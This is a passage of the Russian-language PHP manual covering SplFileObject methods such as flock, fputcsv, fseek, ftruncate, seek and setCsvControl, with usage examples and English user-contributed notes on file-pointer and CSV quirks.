  • SplFileObject::fpassthru »
  • PHP Manual
  • SplFileObject
  • Портируемая блокировка файла

SplFileObject::flock

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplFileObject::flock — Портируемая блокировка файла

Описание

public SplFileObject::flock(int $operation, int &$wouldBlock = null): bool

Блокирует или разблокирует файл тем же портируемым способом, что и flock().

Список параметров

operation

operation может принимать следующие значения:

  • LOCK_SH для получения разделяемой блокировки (чтение).
  • LOCK_EX для получения эксклюзивной блокировки (запись).
  • LOCK_UN для снятия блокировки (разделяемой или эксклюзивной).

Также возможно добавить LOCK_NB в качестве битовой маски к одной из вышеуказанных операций, если flock() не должен блокироваться во время попытки блокировки.

wouldBlock

Будет установлен true, если блокировка будет блокирующей (код ошибки EWOULDBLOCK).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования SplFileObject::flock()

<?php
$file = new SplFileObject("/tmp/lock.txt", "w");
if ($file->flock(LOCK_EX)) { // выполняем эксклюзивную блокировку
$file->ftruncate(0); // очищаем файл
$file->fwrite("Что-нибудь пишем сюда\n");
$file->flock(LOCK_UN); // снимаем блокировку
} else {
echo "Не удалось получить блокировку!";
}
?>

Смотрите также

  • flock() - Портируемая консультативная блокировка файлов

User Contributed Notes

Ahmed Rain 11-Aug-2022 10:25
@digitalprecision What you said is not completely true, ftruncate(0); is needed if there was a write to the file before the lock is acquired. You also may need fseek(0); to move back the file pointer to the beginning of the file

<?php
$file = new SplFileObject("/tmp/lock.txt", "w");
$file->fwrite("xxxxx"); // write something before the lock is acquired
sleep(5); // wait for 5 seconds

if ($file->flock(LOCK_EX)) { // do an exclusive lock
    $file->fwrite("Write something here\n");
    $file->flock(LOCK_UN);   // release the lock
} else {
    echo "Couldn't get the lock!";
}
?>

"lock.txt" content:

xxxxxWrite something here
digitalprecision at gmail dot com 24-Dec-2010 02:48
For the record, the example given here has an explicit command to truncate the file, however with a 'write mode' of 'w', it will do this for you automatically, so the truncate call is not needed.


Выводит всё оставшееся содержимое файла в выходной поток

  • « SplFileObject::flock
  • SplFileObject::fputcsv »
  • PHP Manual
  • SplFileObject
  • Выводит всё оставшееся содержимое файла в выходной поток

SplFileObject::fpassthru

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplFileObject::fpassthru — Выводит всё оставшееся содержимое файла в выходной поток

Описание

public SplFileObject::fpassthru(): int

Читает данные из файла с текущей позиции до конца файла и помещает их в буфер выходного потока.

Если вы уже записали какие-то данные в файл и вам необходимо вернуться на начальную позицию, файловый указатель можно сбросить методом SplFileObject::rewind().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает количество символов, прочитанных с дескриптора handle и переданных на вывод.

Примеры

Пример #1 Пример использования SplFileObject::fpassthru()

<?php

// Открыть файл в режиме чтения двоичных данных
$file = new SplFileObject("./img/ok.png", "rb");

// Отправить правильные заголовки
header("Content-Type: image/png");
header("Content-Length: " . $file->getSize());

// Вывести изображение и завершить работу скрипта
$file->fpassthru();
exit;

?>

Смотрите также

  • fpassthru() - Выводит все оставшиеся данные из файлового указателя

User Contributed Notes

There are no user contributed notes for this page.


Записать массив полей в виде строки CSV

  • « SplFileObject::fpassthru
  • SplFileObject::fread »
  • PHP Manual
  • SplFileObject
  • Записать массив полей в виде строки CSV

SplFileObject::fputcsv

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SplFileObject::fputcsv — Записать массив полей в виде строки CSV

Описание

public SplFileObject::fputcsv(
array $fields,
string $separator = ",",
string $enclosure = "\"",
string $escape = "\\",
string $eol = "\n"
): int|false

Записывает массив fields в файл как строку CSV.

Список параметров

fields

Массив значений

separator

Необязательный параметр separator устанавливает разделитель полей (только один однобайтовый символ).

enclosure

Необязательный параметр enclosure (только один однобайтовый символ). Символ обёртывания используется для помещения в него значений полей. Например строка 'строка' обёрнута в одиночные кавычки (').

escape

Необязательный параметр escape устанавливает символ экранирования (не более одного однобайтового символа). Пустая строка ("") отключает проприетарный механизм экранирования.

eol

Необязательный параметр eol задаёт настраиваемую последовательность конца строки.

Замечание:

Если символ enclosure содержится в поле, он будет экранирован путём его удвоения, если ему не предшествует escape.

Возвращаемые значения

Возвращает длину записанной строки или false в случае возникновения ошибки.

Возвращает false и не производит запись в файл, если параметры separator или enclosure содержат больше одного символа.

Ошибки

Вызывает ошибку уровня E_WARNING, если параметры separator или enclosure содержат больше одного символа.

Список изменений

Версия | Описание
8.1.0 | Добавлен необязательный параметр eol.
7.4.0 | Теперь параметр escape может принимать пустую строку для отключения проприетарного механизма экранирования.

Примеры

Пример #1 Пример SplFileObject::fputcsv()

<?php

$list = array (
array('aaa', 'bbb', 'ccc', 'dddd'),
array('123', '456', '789'),
array('"aaa"', '"bbb"')
);

$file = new SplFileObject('file.csv', 'w');

foreach ($list as $fields) {
$file->fputcsv($fields);
}

?>

Пример выше записывает следующие строки в file.csv:

aaa,bbb,ccc,dddd
123,456,789
"""aaa""","""bbb"""

Смотрите также

  • fputcsv() - Форматирует строку в виде CSV и записывает её в файловый указатель
  • SplFileObject::fgetcsv() - Получить строку из файла и её разбор как поля CSV

User Contributed Notes

sergiy dot sokolenko at gmail dot com 25-Jan-2012 01:17
This method is available in PHP 5.4 and it is just a wrapper over php.net/fputcsv.


Чтение из файла

  • « SplFileObject::fputcsv
  • SplFileObject::fscanf »
  • PHP Manual
  • SplFileObject
  • Чтение из файла

SplFileObject::fread

(PHP 5 >= 5.5.11, PHP 7, PHP 8)

SplFileObject::fread — Чтение из файла

Описание

public SplFileObject::fread(int $length): string|false

Считывает заданное количества байт из файла.

Список параметров

length

Количество байт для чтения.

Возвращаемые значения

Возвращает строку, прочитанную из файла или false в случае возникновения ошибки.

Примеры

Пример #1 Пример SplFileObject::fread()

<?php
// Чтение контента файла в строку
$filename = "/usr/local/something.txt";
$file = new SplFileObject($filename, "r");
$contents = $file->fread($file->getSize());
?>

Примечания

Замечание:

Обратите внимание, что SplFileObject::fread() читает с текущей позиции указателя файла. Используйте SplFileObject::ftell() для поиска текущей позиции указателя и SplFileObject::rewind() (или SplFileObject::fseek()) для изменения его позиции.

Смотрите также

  • fread() - Бинарно-безопасное чтение файла

User Contributed Notes

There are no user contributed notes for this page.


Разбирает строку файла в соответствии с заданным форматом

  • « SplFileObject::fread
  • SplFileObject::fseek »
  • PHP Manual
  • SplFileObject
  • Разбирает строку файла в соответствии с заданным форматом

SplFileObject::fscanf

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplFileObject::fscanf — Разбирает строку файла в соответствии с заданным форматом

Описание

public SplFileObject::fscanf(string $format, mixed &...$vars): array|int|null

Читает строку из файла и разбирает её в соответствии с заданным форматом format.

Любые пробелы в строке format соответствует любому пробелу в строке из файла. Это означает, что символ табуляции (\t) в строке формата может соответствовать одному пробелу в строке файла.

Список параметров

format

Интерпретируемый формат для параметра string, который описан в документации функции sprintf() со следующими отличиями:

  • Функция не ориентирована на локализацию.
  • Не поддерживаются значения F, g, G и b.
  • D обозначает десятичное число.
  • i обозначает целое число с определением системы счисления.
  • n обозначает количество символов, обработанных на данный момент.
  • s останавливает чтение на любом символе пробела.
  • * вместо argnum$ подавляет присвоение данной спецификации преобразования.

vars

Дополнительные строки форматирования.

Возвращаемые значения

Если передан только один параметр, распознанные в строке значения будут помещены в массив. Если переданы дополнительные строки форматирования, функция вернёт количество шаблонов, с которыми совпала строка. Необязательные параметры должны передаваться по ссылке.

Примеры

Пример #1 Пример использования SplFileObject::fscanf()

<?php
$file = new SplFileObject("misc.txt");
while ($userinfo = $file->fscanf("%s %s %s")) {
list ($name, $profession, $countrycode) = $userinfo;
// Работаем с $name $profession $countrycode
}
?>

Содержимое файла users.txt

javier   argonaut    pe
hiroshi  sculptor    jp
robert   slacker     us
luigi    florist     it

Смотрите также

  • fscanf() - Обрабатывает данные из файла в соответствии с форматом
  • sscanf() - Разбирает строку в соответствии с заданным форматом
  • printf() - Выводит отформатированную строку
  • sprintf() - Возвращает отформатированную строку

User Contributed Notes

There are no user contributed notes for this page.


Перевод файлового указателя на заданную позицию

  • « SplFileObject::fscanf
  • SplFileObject::fstat »
  • PHP Manual
  • SplFileObject
  • Перевод файлового указателя на заданную позицию

SplFileObject::fseek

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplFileObject::fseek — Перевод файлового указателя на заданную позицию

Описание

public SplFileObject::fseek(int $offset, int $whence = SEEK_SET): int

Перемещает файловый указатель на указанное в параметре offset количество байт. За позицию, от которой будет отсчитываться смещение отвечает параметр whence.

Список параметров

offset

Смещение. Отрицательная величина смещения используется, когда нужно перемещаться по файлу от конца к началу, т.е. когда в качестве аргумента whence передано значение SEEK_END.

whence

Возможные значения параметра whence:

  • SEEK_SET - Установить указатель на позицию offset байт от начала файла.
  • SEEK_CUR - Переместить указатель на offset байт относительно текущего положения.
  • SEEK_END - Установить указатель на позицию offset байт от конца файла.

Если параметр whence опущен, функция будет работать в режиме SEEK_SET.

Возвращаемые значения

Возвращает 0, если перемещение прошло успешно, и -1 в противном случае. Следует помнить, что перемещение за конец файла не рассматривается как ошибка.

Примеры

Пример #1 Пример использования SplFileObject::fseek()

<?php
$file = new SplFileObject("somefile.txt");

// Чтение первой строки
$data = $file->fgets();

// Перемещаемся снова в начало файла
// То же, что и $file->rewind();
$file->fseek(0);
?>

Смотрите также

  • fseek() - Устанавливает смещение в файловом указателе

User Contributed Notes

There are no user contributed notes for this page.


Получает информацию о файле

  • « SplFileObject::fseek
  • SplFileObject::ftell »
  • PHP Manual
  • SplFileObject
  • Получает информацию о файле

SplFileObject::fstat

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplFileObject::fstat — Получает информацию о файле

Описание

public SplFileObject::fstat(): array

Собирает статистическую информацию о файле. Поведение идентично fstat().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив со статистической информацией о файле; формат массива подробно описан на странице функции stat().

Примеры

Пример #1 Пример использования SplFileObject::fstat()

<?php
$file = new SplFileObject("/etc/passwd");
$stat = $file->fstat();

// Печать только ассоциативной части
print_r(array_slice($stat, 13));

?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [dev] => 771
    [ino] => 488704
    [mode] => 33188
    [nlink] => 1
    [uid] => 0
    [gid] => 0
    [rdev] => 0
    [size] => 1114
    [atime] => 1061067181
    [mtime] => 1056136526
    [ctime] => 1056136526
    [blksize] => 4096
    [blocks] => 8
)

Смотрите также

  • fstat() - Получает информацию о файле, используя открытый файловый указатель
  • stat() - Возвращает информацию о файле

User Contributed Notes

There are no user contributed notes for this page.


Вернуть текущую позицию файлового указателя

  • « SplFileObject::fstat
  • SplFileObject::ftruncate »
  • PHP Manual
  • SplFileObject
  • Вернуть текущую позицию файлового указателя

SplFileObject::ftell

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplFileObject::ftell — Вернуть текущую позицию файлового указателя

Описание

public SplFileObject::ftell(): int|false

Возвращает текущую позицию файлового указателя, которая представляет текущее смещение в файловом потоке.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает позицию файлового указателя в виде целого числа или false в случае ошибки.

Примеры

Пример #1 Пример использования SplFileObject::ftell()

<?php
$file = new SplFileObject("/etc/passwd");

// Читаем первую строку
$data = $file->fgets();

// Определяем, где мы?
echo $file->ftell();
?>

Смотрите также

  • ftell() - Возвращает текущую позицию указателя чтения/записи файла

User Contributed Notes

There are no user contributed notes for this page.


Обрезает файл до заданной длины

  • « SplFileObject::ftell
  • SplFileObject::fwrite »
  • PHP Manual
  • SplFileObject
  • Обрезает файл до заданной длины

SplFileObject::ftruncate

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplFileObject::ftruncate — Обрезает файл до заданной длины

Описание

public SplFileObject::ftruncate(int $size): bool

Отбрасывает все данные в файле после байта size.

Список параметров

size

Размер, под который требуется подогнать файл.

Замечание:

Если size больше текущего размера файла, в конец будут добавлены нулевые байты.

Если size меньше размера файла, лишние данные будут потеряны.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования SplFileObject::ftruncate()

<?php
// Создать файл, содержащий "Hello World!"
$file = new SplFileObject("/tmp/ftruncate", "w+");
$file->fwrite("Hello World!");

// Обрезать до 5 байт
$file->ftruncate(5);

// Перемотка к началу файла и чтение данные
$file->rewind();
echo $file->fgets();
?>

Результатом выполнения данного примера будет что-то подобное:

Hello

Смотрите также

  • ftruncate() - Урезает файл до указанной длины

User Contributed Notes

irvinezega at hotmail dot com 22-Aug-2018 05:53
I suppose a fair number of us know this:

However, for those who don't:-

If you are truncating a file, say, to $fileObject->ftruncate(0), then, it may be advisable to call $fileObject->fseek(0) first (before you call '$fileObject->ftruncate').

On inspection, I was encountering 'NULL' characters at the beginning of a, or the, file.

Hence, from what I have surmised; when 'ftruncate()' is called, the file pointer does NOT move to the beginning (or, at least, the required position) of the file.

This issue cost me a fair amount of time to figure out, so I hope it helps someone.


Запись в файл

  • « SplFileObject::ftruncate
  • SplFileObject::getChildren »
  • PHP Manual
  • SplFileObject
  • Запись в файл

SplFileObject::fwrite

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplFileObject::fwrite — Запись в файл

Описание

public SplFileObject::fwrite(string $data, int $length = 0): int|false

Записывает содержимое строки string в файл.

Список параметров

data

Строка, которая будет записана в файл.

length

Если задан аргумент length, запись остановится после того, как length байт будут записаны или будет достигнут конец строки string, в зависимости от того, что случится раньше.

Возвращаемые значения

Возвращает количество записанных байт или false в случае возникновения ошибки.

Список изменений

Версия | Описание
7.4.0 | Функция теперь возвращает false вместо нуля в случае возникновения ошибки.

Примеры

Пример #1 Пример использования SplFileObject::fwrite()

<?php
$file = new SplFileObject("fwrite.txt", "w");
$written = $file->fwrite("12345");
echo "В файл записано $written байт";
?>

Результатом выполнения данного примера будет что-то подобное:

В файл записано 5 байт

Смотрите также

  • fwrite() - Бинарно-безопасная запись в файл

User Contributed Notes

bas dot hilbers at tribal-im dot com 07-Nov-2013 12:47
Your \SplFileObject will not throw an exception when trying to write to a non-writeable stream!

I forgot to set the second parameter on my \SplFileObject constructor (the mode), costing me minutes to figure out why nothing was writter by the fwrite method...

Just to let you know!


Метод-заглушка

  • « SplFileObject::fwrite
  • SplFileObject::getCsvControl »
  • PHP Manual
  • SplFileObject
  • Метод-заглушка

SplFileObject::getChildren

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplFileObject::getChildren — Метод-заглушка

Описание

public SplFileObject::getChildren(): null

Класс SplFileObject не имеет дочерних элементов, поэтому этот метод возвращает null.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает null.

Смотрите также

  • RecursiveIterator::getChildren() - Возвращает итератор для текущего элемента

User Contributed Notes

There are no user contributed notes for this page.


Получает символы разделителя, обёртывания и экранирования для CSV

  • « SplFileObject::getChildren
  • SplFileObject::getCurrentLine »
  • PHP Manual
  • SplFileObject
  • Получает символы разделителя, обёртывания и экранирования для CSV

SplFileObject::getCsvControl

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

SplFileObject::getCsvControl — Получает символы разделителя, обёртывания и экранирования для CSV

Описание

public SplFileObject::getCsvControl(): array

Получает символы разделителя, обёртывания и экранирования для CSV. Символ обёртывания используется для помещения в него значений полей. Например строка 'строка' обёрнута в одиночные кавычки (').

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает индексный массив, содержащий символы разделителя и ограничителя.

Список изменений

Версия | Описание
7.4.0 | В качестве символа экранирования можно использовать пустую строку.
7.0.10 | Добавлен символ экранирования в результирующий массив.

Примеры

Пример #1 Пример использования SplFileObject::getCsvControl()

<?php
$file = new SplFileObject("data.txt");
print_r($file->getCsvControl());
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => ,
    [1] => "
    [2] => \
)

Смотрите также

  • SplFileObject::setCsvControl() - Устанавливает символы разделителя, обёртывания и экранирования для CSV
  • SplFileObject::fgetcsv() - Получить строку из файла и её разбор как поля CSV

User Contributed Notes

faure dot daniel dot 57 at gmail dot com 14-Oct-2021 05:31
Given an absolute path to a CSV or any text file and a list of possible delimiters and assuming lines are up to 4096 characters long, I use

<?php
function guess_delimiter($file, $delimiters=[',',';'])
{
  $h = fopen($file,'r');
    $count = [];
    foreach ($delimiters as $del) {
      $count[$del] = 0;
      while (($bufer = fgets($h, 4096)) !== false) {
        $count[$del]+=substr_count($bufer, $del);
      }
      rewind($h);
    }
    fclose($h);
    return array_search(max($count), $count);
}
greg dot bowler at g105b dot com 06-Feb-2015 05:47
Note that this function does not magically guess the CSV control from a given file, rather it returns what has been priorly set with SplFileObject::setCsvControl().
Anonymous 11-Sep-2013 02:07
Seems that this function always returns the same delimiter.

<?php
file_put_contents("A;B;C;D\n0;0;0;0", "test.txt");

$file = new SplFileObject("test.txt");
var_dump($file->getCsvControl());
?>

array(2) {
  [0]=>
  string(1) ","
  [1]=>
  string(1) """
}


Псевдоним SplFileObject::fgets

  • « SplFileObject::getCsvControl
  • SplFileObject::getFlags »
  • PHP Manual
  • SplFileObject
  • Псевдоним SplFileObject::fgets

SplFileObject::getCurrentLine

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileObject::getCurrentLine — Псевдоним SplFileObject::fgets()

Описание

Метод является псевдонимом: SplFileObject::fgets().

User Contributed Notes

There are no user contributed notes for this page.


Получает флаги настройки объекта SplFileObject

  • « SplFileObject::getCurrentLine
  • SplFileObject::getMaxLineLen »
  • PHP Manual
  • SplFileObject
  • Получает флаги настройки объекта SplFileObject

SplFileObject::getFlags

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplFileObject::getFlags — Получает флаги настройки объекта SplFileObject

Описание

public SplFileObject::getFlags(): int

Получает флаги настройки объекта SplFileObject в виде целого числа типа int.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает число типа int, представляющее набор флагов.

Примеры

Пример #1 Пример использования SplFileObject::getFlags()

<?php
$file = new SplFileObject(__FILE__, "r");

if ($file->getFlags() & SplFileObject::SKIP_EMPTY) {
echo "Пропускать пустые строки\n";
} else {
echo "Не пропускать пустые строки\n";
}

$file->setFlags(SplFileObject::SKIP_EMPTY);

if ($file->getFlags() & SplFileObject::SKIP_EMPTY) {
echo "Пропускать пустые строки\n";
} else {
echo "Не пропускать пустые строки\n";
}
?>

Результатом выполнения данного примера будет что-то подобное:

Не пропускать пустые строки
Пропускать пустые строки

Смотрите также

  • SplFileObject::setFlags() - Устанавливает флаги для SplFileObject

User Contributed Notes

There are no user contributed notes for this page.


Получить максимальную длину строки

  • « SplFileObject::getFlags
  • SplFileObject::hasChildren »
  • PHP Manual
  • SplFileObject
  • Получить максимальную длину строки

SplFileObject::getMaxLineLen

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplFileObject::getMaxLineLen — Получить максимальную длину строки

Описание

public SplFileObject::getMaxLineLen(): int

Получает максимальную длину строки, установленную с помощью SplFileObject::setMaxLineLen().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает максимальную длину строки, если она была установлена с помощью SplFileObject::setMaxLineLen(), по умолчанию 0.

Примеры

Пример #1 Пример использования SplFileObject::getMaxLineLen()

<?php
$file = new SplFileObject("file.txt");
var_dump($file->getMaxLineLen());

$file->setMaxLineLen(20);
var_dump($file->getMaxLineLen());
?>

Результатом выполнения данного примера будет что-то подобное:

int(0)
int(20)

Смотрите также

  • SplFileObject::setMaxLineLen() - Установить максимальную длину строки

User Contributed Notes

There are no user contributed notes for this page.


Класс SplFileObject не имеет наследников

  • « SplFileObject::getMaxLineLen
  • SplFileObject::key »
  • PHP Manual
  • SplFileObject
  • Класс SplFileObject не имеет наследников

SplFileObject::hasChildren

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileObject::hasChildren — Класс SplFileObject не имеет наследников

Описание

public SplFileObject::hasChildren(): false

Класс SplFileObject не имеет дочерних элементов, поэтому метод всегда возвращает false.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает false

Смотрите также

  • RecursiveIterator::hasChildren() - Определяет, можно ли для текущего элемента создать итератор

User Contributed Notes

There are no user contributed notes for this page.


Получить номер строки

  • « SplFileObject::hasChildren
  • SplFileObject::next »
  • PHP Manual
  • SplFileObject
  • Получить номер строки

SplFileObject::key

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplFileObject::key — Получить номер строки

Описание

public SplFileObject::key(): int

Получает номер текущей строки.

Замечание:

Этот номер может отличаться от реального положения файлового указателя, когда читаются строки фиксированной длины с заданием этой длины методом SplFileObject::setMaxLineLen().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает номер текущей строки файла.

Примеры

Пример #1 Пример использования SplFileObject::key()

<?php
$file = new SplFileObject("lipsum.txt");
foreach ($file as $line) {
echo $file->key() . ". " . $line;
}
?>

Результатом выполнения данного примера будет что-то подобное:

0. Lorem ipsum dolor sit amet, consectetur adipiscing elit.
1. Duis nec sapien felis, ac sodales nisl.
2. Lorem ipsum dolor sit amet, consectetur adipiscing elit.

Пример #2 Пример использования SplFileObject::key() при задании длины строки методом SplFileObject::setMaxLineLen()

<?php
$file = new SplFileObject("lipsum.txt");
$file->setMaxLineLen(20);
foreach ($file as $line) {
echo $file->key() . ". " . $line . "\n";
}
?>

Результатом выполнения данного примера будет что-то подобное:

0. Lorem ipsum dolor s
1. it amet, consectetu
2. r adipiscing elit.
3.

4. Duis nec sapien fel
5. is, ac sodales nisl
6. .

7. Lorem ipsum dolor s
8. it amet, consectetu
9. r adipiscing elit.

Смотрите также

  • SplFileObject::current() - Получить текущую строки файла
  • SplFileObject::seek() - Перевод файлового указателя на заданную строку
  • SplFileObject::next() - Читать следующую строку
  • SplFileObject::rewind() - Перемотка файлового указателя в начало файла
  • SplFileObject::valid() - Проверяет, достигнут ли конец файла (EOF)

User Contributed Notes

xzero at elite7hackers dot net 07-Aug-2020 07:35
Another gotcha that is not mentioned: If you have flag SKIP_EMPTY set, then key() will not reflect actual line numbers as empty lines are not accounted.


Читать следующую строку

  • « SplFileObject::key
  • SplFileObject::rewind »
  • PHP Manual
  • SplFileObject
  • Читать следующую строку

SplFileObject::next

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplFileObject::next — Читать следующую строку

Описание

public SplFileObject::next(): void

Переход к следующей строке в файле.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования SplFileObject::next()

<?php
// Читаем файл построчно
$file = new SplFileObject("misc.txt");
while (!$file->eof()) {
echo $file->current();
$file->next();
}
?>

Смотрите также

  • SplFileObject::current() - Получить текущую строки файла
  • SplFileObject::key() - Получить номер строки
  • SplFileObject::seek() - Перевод файлового указателя на заданную строку
  • SplFileObject::rewind() - Перемотка файлового указателя в начало файла
  • SplFileObject::valid() - Проверяет, достигнут ли конец файла (EOF)

User Contributed Notes

quijote dot shin at gmail dot com 21-May-2017 09:03
As @Jonnycake  pointed there is no documentation about the following behavior of  next();

You need to call current() to really move forward without the need of a source loop.

Be:
<?php
$file = new SplFileObject("file.txt");

echo PHP_EOL . $file->current();
$file->next();
 $file->next();
 $file->next();
echo PHP_EOL . $file->current(); // 2nd line of the file

?>

<?php
$file = new SplFileObject("file.txt");

echo PHP_EOL . $file->current();
$file->next(); $file->current();
$file->next(); $file->current();
$file->next();
echo PHP_EOL . $file->current(); // be the 4th line of the file

?>

Honestly, I don't know if it is  waste of memory and/or CPU .
Jonnycake 02-Dec-2014 05:53
Quick note when using next(), it appears that you have to already be at the end of the line in order for it to hop to the next one.  I realized this while attempting to do a lineCount implementaiton like the following:

<?php
  function lineCount($file)
  {
     $x=0;
     while(!$file->eof()) {
          $x++;
          $file->next();
     }
     return $x;
  }
  $file=new SplFileObject("something");
  echo lineCount($file);
?>

It ended up in an infinite loop.  The solution was to just call fgets()/current() in the loop, although it wasn't being used anywhere so the following works:

<?php
  function lineCount($file)
  {
     $x=0;
     while(!$file->eof()) {
          $file->current();
          $x++;
          $file->next();
     }
     return $x;
  }
  $file=new SplFileObject("something");
  echo lineCount($file);
?>


Перемотка файлового указателя в начало файла

  • « SplFileObject::next
  • SplFileObject::seek »
  • PHP Manual
  • SplFileObject
  • Перемотка файлового указателя в начало файла

SplFileObject::rewind

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplFileObject::rewind — Перемотка файлового указателя в начало файла

Описание

public SplFileObject::rewind(): void

Перематывает файловый указатель в начало файла.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

Если указатель нельзя перемотать, будет выброшено исключение RuntimeException.

Примеры

Пример #1 Пример использования SplFileObject::rewind()

<?php
$file = new SplFileObject("misc.txt");

// Проход по всему файлу
foreach ($file as $line) { }

// Перемотка на первую строку
$file->rewind();

// Вывод первой строки
echo $file->current();
?>

Смотрите также

  • SplFileObject::current() - Получить текущую строки файла
  • SplFileObject::key() - Получить номер строки
  • SplFileObject::seek() - Перевод файлового указателя на заданную строку
  • SplFileObject::next() - Читать следующую строку
  • SplFileObject::valid() - Проверяет, достигнут ли конец файла (EOF)

User Contributed Notes

There are no user contributed notes for this page.


Перевод файлового указателя на заданную строку

  • « SplFileObject::rewind
  • SplFileObject::setCsvControl »
  • PHP Manual
  • SplFileObject
  • Перевод файлового указателя на заданную строку

SplFileObject::seek

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplFileObject::seek — Перевод файлового указателя на заданную строку

Описание

public SplFileObject::seek(int $line): void

Переводит файловый указатель на заданную строку.

Список параметров

line

Номер строки, начиная с 0, на которую требуется перейти.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

Выбрасывает исключение LogicException, если аргумент line принимает отрицательное значение.

Примеры

Пример #1 Пример использования SplFileObject::seek()

Этот пример выводит третью строку скрипта, находящуюся на 2-й позиции.

<?php
$file = new SplFileObject(__FILE__);
$file->seek(2);
echo $file->current();
?>

Результатом выполнения данного примера будет что-то подобное:

$file->seek(2);

Смотрите также

  • SplFileObject::current() - Получить текущую строки файла
  • SplFileObject::key() - Получить номер строки
  • SplFileObject::next() - Читать следующую строку
  • SplFileObject::rewind() - Перемотка файлового указателя в начало файла
  • SplFileObject::valid() - Проверяет, достигнут ли конец файла (EOF)

User Contributed Notes

info at inatica dot com 26-Aug-2021 12:02
there is a bug using fseek on previos versions of PHP8.0.1
See:

https://bugs.php.net/bug.php?id=46569

https://3v4l.org/O89dJ

I solved it with a function:

<?php
/**
* SEEK an Spl object
* There is a bug in php for seeking files
* seems solved php_version > PHP8.0.1
* See https://bugs.php.net/bug.php?id=46569
* & https://3v4l.org/O89dJ
*
* $Spl->seek() Works ok in all versions with offset 0 (first row)
* On PHP_VERSION < 8.0.1:
*  - Offset 1: seek() cannot seek at row 1. It will be done manually, rewind file and reading first row
*  - Rest of Offsets: The cursor remains at next row of $Offset
*
* @param SplObject $Spl
* @param int $Offset
*/

function seek_spl($Spl, $Offset){
    if (version_compare(PHP_VERSION, '8.0.1', '>=') || $Offset == 0) {
        $Spl->seek($Offset);
    } else {
        if( $Offset == 1 ){
            $Spl->rewind(); // Ensure to go at first row before exit
            $Spl->fgets(); // Read line 0. Cursor remains now at line 1
        } else {
            $Spl->seek($Offset-1);
        }
    }
}?>
ahmad_maqsood at waku-2 dot com 21-Sep-2017 09:19
A sleek way of counting the number of lines in a file can be like below

$file = new \SplFileObject('file.extension', 'r');
$file->seek(PHP_INT_MAX);

echo $file->key() + 1;


Устанавливает символы разделителя, обёртывания и экранирования для CSV

  • « SplFileObject::seek
  • SplFileObject::setFlags »
  • PHP Manual
  • SplFileObject
  • Устанавливает символы разделителя, обёртывания и экранирования для CSV

SplFileObject::setCsvControl

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

SplFileObject::setCsvControl — Устанавливает символы разделителя, обёртывания и экранирования для CSV

Описание

public SplFileObject::setCsvControl(string $separator = ",", string $enclosure = "\"", string $escape = "\\"): void

Устанавливает символы разделителя, ограничителя и экранирования для CSV. Символ ограничителя используется для помещения в него значений полей. Например строка 'строка' обёрнута в одиночные кавычки (').

Список параметров

separator

Разделитель поля (только один однобайтовый символ).

enclosure

Символ ограничителя поля (только один однобайтовый символ).

escape

Экранирующий символ (не более одного однобайтового символа). Пустая строка ("") отключает проприетарный механизм экранирования.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Список изменений

Версия | Описание
7.4.0 | Теперь параметр escape может принимать пустую строку для отключения проприетарного механизма экранирования.

Примеры

Пример #1 Пример использования SplFileObject::setCsvControl()

<?php
$file = new SplFileObject("data.csv");
$file->setFlags(SplFileObject::READ_CSV);
$file->setCsvControl('|');
foreach ($file as $row) {
list ($fruit, $quantity) = $row;
// Что-то делаем со значениями
}
?>

Содержимое data.csv

<?php
apples|20
bananas|14
cherries|87
?>

Смотрите также

  • SplFileObject::getCsvControl() - Получает символы разделителя, обёртывания и экранирования для CSV
  • SplFileObject::fgetcsv() - Получить строку из файла и её разбор как поля CSV

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает флаги для SplFileObject

  • « SplFileObject::setCsvControl
  • SplFileObject::setMaxLineLen »
  • PHP Manual
  • SplFileObject
  • Устанавливает флаги для SplFileObject

SplFileObject::setFlags

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplFileObject::setFlags — Устанавливает флаги для SplFileObject

Описание

public SplFileObject::setFlags(int $flags): void

Устанавливает флаги, которые будут использоваться SplFileObject.

Список параметров

flags

Битовая маска флагов для установки. Смотрите константы SplFileObject для получения списка доступных флагов.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования SplFileObject::setFlags()

<?php
$file = new SplFileObject("data.csv");
